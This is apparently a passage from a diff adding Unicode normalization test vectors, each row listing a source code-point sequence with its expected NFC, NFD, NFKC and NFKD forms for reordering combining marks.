+{ source: [0x0061, 0x0827, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0827, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0827, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0827, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0827, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0829, 0x0062], NFC: [0x00E0, 0x05AE, 0x0829, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0829, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0829, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0829, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0829, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0829, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0829, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0829, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0829, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x082A, 0x0062], NFC: [0x00E0, 0x05AE, 0x082A, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x082A, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x082A, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x082A, 0x0315, 0x0062] },
+{ source: [0x0061, 0x082A, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x082A, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x082A, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x082A, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x082A, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x082B, 0x0062], NFC: [0x00E0, 0x05AE, 0x082B, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x082B, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x082B, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x082B, 0x0315, 0x0062] },
+{ source: [0x0061, 0x082B, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x082B, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x082B, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x082B, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x082B, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x082C, 0x0062], NFC: [0x00E0, 0x05AE, 0x082C, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x082C, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x082C, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x082C, 0x0315, 0x0062] },
+{ source: [0x0061, 0x082C, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x082C, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x082C, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x082C, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x082C, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x082D, 0x0062], NFC: [0x00E0, 0x05AE, 0x082D, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x082D, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x082D, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x082D, 0x0315, 0x0062] },
+{ source: [0x0061, 0x082D, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x082D, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x082D, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x082D, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x082D, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0859, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0859, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0859, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0859, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0859, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0859, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0859, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0859, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0859, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0859, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x085A, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x085A, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x085A, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x085A, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x085A, 0x059A, 0x0062] },
+{ source: [0x0061, 0x085A, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x085A, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x085A, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x085A, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x085A, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x085B, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x085B, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x085B, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x085B, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x085B, 0x059A, 0x0062] },
+{ source: [0x0061, 0x085B, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x085B, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x085B, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x085B, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x085B, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x08D3, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x08D3, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x08D3, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x08D3, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x08D3, 0x059A, 0x0062] },
+{ source: [0x0061, 0x08D3, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x08D3, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x08D3, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x08D3, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x08D3, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08D4, 0x0062], NFC: [0x00E0, 0x05AE, 0x08D4, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08D4, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08D4, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08D4, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08D4, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08D4, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08D4, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08D4, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08D4, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08D5, 0x0062], NFC: [0x00E0, 0x05AE, 0x08D5, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08D5, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08D5, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08D5, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08D5, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08D5, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08D5, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08D5, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08D5, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08D6, 0x0062], NFC: [0x00E0, 0x05AE, 0x08D6, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08D6, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08D6, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08D6, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08D6, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08D6, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08D6, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08D6, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08D6, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08D7, 0x0062], NFC: [0x00E0, 0x05AE, 0x08D7, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08D7, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08D7, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08D7, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08D7, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08D7, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08D7, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08D7, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08D7, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08D8, 0x0062], NFC: [0x00E0, 0x05AE, 0x08D8, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08D8, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08D8, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08D8, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08D8, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08D8, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08D8, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08D8, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08D8, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08D9, 0x0062], NFC: [0x00E0, 0x05AE, 0x08D9, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08D9, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08D9, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08D9, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08D9, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08D9, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08D9, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08D9, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08D9, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08DA, 0x0062], NFC: [0x00E0, 0x05AE, 0x08DA, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08DA, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08DA, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08DA, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08DA, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08DA, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08DA, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08DA, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08DA, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08DB, 0x0062], NFC: [0x00E0, 0x05AE, 0x08DB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08DB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08DB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08DB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08DB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08DB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08DB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08DB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08DB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08DC, 0x0062], NFC: [0x00E0, 0x05AE, 0x08DC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08DC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08DC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08DC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08DC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08DC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08DC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08DC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08DC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08DD, 0x0062], NFC: [0x00E0, 0x05AE, 0x08DD, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08DD, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08DD, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08DD, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08DD, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08DD, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08DD, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08DD, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08DD, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08DE, 0x0062], NFC: [0x00E0, 0x05AE, 0x08DE, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08DE, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08DE, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08DE, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08DE, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08DE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08DE, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08DE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08DE, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08DF, 0x0062], NFC: [0x00E0, 0x05AE, 0x08DF, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08DF, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08DF, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08DF, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08DF, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08DF, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08DF, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08DF, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08DF, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08E0, 0x0062], NFC: [0x00E0, 0x05AE, 0x08E0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08E0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08E0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08E0, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08E0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08E0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08E0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08E0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08E0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08E1, 0x0062], NFC: [0x00E0, 0x05AE, 0x08E1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08E1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08E1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08E1, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08E1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08E1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08E1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08E1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08E1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x08E3, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x08E3, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x08E3, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x08E3, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x08E3, 0x059A, 0x0062] },
+{ source: [0x0061, 0x08E3, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x08E3, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x08E3, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x08E3, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x08E3, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08E4, 0x0062], NFC: [0x00E0, 0x05AE, 0x08E4, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08E4, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08E4, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08E4, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08E4, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08E4, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08E4, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08E4, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08E4, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08E5, 0x0062], NFC: [0x00E0, 0x05AE, 0x08E5, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08E5, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08E5, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08E5, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08E5, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08E5, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08E5, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08E5, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08E5, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x08E6, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x08E6, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x08E6, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x08E6, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x08E6, 0x059A, 0x0062] },
+{ source: [0x0061, 0x08E6, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x08E6, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x08E6, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x08E6, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x08E6, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08E7, 0x0062], NFC: [0x00E0, 0x05AE, 0x08E7, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08E7, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08E7, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08E7, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08E7, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08E7, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08E7, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08E7, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08E7, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08E8, 0x0062], NFC: [0x00E0, 0x05AE, 0x08E8, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08E8, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08E8, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08E8, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08E8, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08E8, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08E8, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08E8, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08E8, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x08E9, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x08E9, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x08E9, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x08E9, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x08E9, 0x059A, 0x0062] },
+{ source: [0x0061, 0x08E9, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x08E9, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x08E9, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x08E9, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x08E9, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08EA, 0x0062], NFC: [0x00E0, 0x05AE, 0x08EA, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08EA, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08EA, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08EA, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08EA, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08EA, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08EA, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08EA, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08EA, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08EB, 0x0062], NFC: [0x00E0, 0x05AE, 0x08EB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08EB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08EB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08EB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08EB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08EB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08EB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08EB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08EB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08EC, 0x0062], NFC: [0x00E0, 0x05AE, 0x08EC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08EC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08EC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08EC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08EC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08EC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08EC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08EC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08EC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x08ED, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x08ED, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x08ED, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x08ED, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x08ED, 0x059A, 0x0062] },
+{ source: [0x0061, 0x08ED, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x08ED, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x08ED, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x08ED, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x08ED, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x08EE, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x08EE, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x08EE, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x08EE, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x08EE, 0x059A, 0x0062] },
+{ source: [0x0061, 0x08EE, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x08EE, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x08EE, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x08EE, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x08EE, 0x0316, 0x059A, 0x0062] },
